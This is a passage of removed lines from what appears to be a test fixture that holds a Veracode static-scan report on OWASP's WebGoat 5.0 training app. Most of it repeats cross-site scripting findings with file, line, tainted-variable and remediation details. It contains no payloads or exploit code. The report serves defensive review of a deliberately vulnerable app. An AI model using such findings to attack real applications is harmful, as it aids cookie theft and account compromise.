-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable menu.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable menu.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to println() contains tainted data from the variable printParameters.
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to println() contains tainted data from the variable printCookies.
-        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getMessage().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"main_jsp.java\" line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\" functionprototype=\"void
-        _jspService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
-        functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable searchedName.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SearchStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable searchedName.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SearchStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable searchedName.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SearchStaff_jsp.java\" line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable result.
-        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
-        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SilentTransactions.java\" line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.SilentTransactions\" functionprototype=\"void
-        handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile.jsp\" line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
-        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
-        The tainted data originated from an earlier call to java.sql.statement.executequery.
-        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
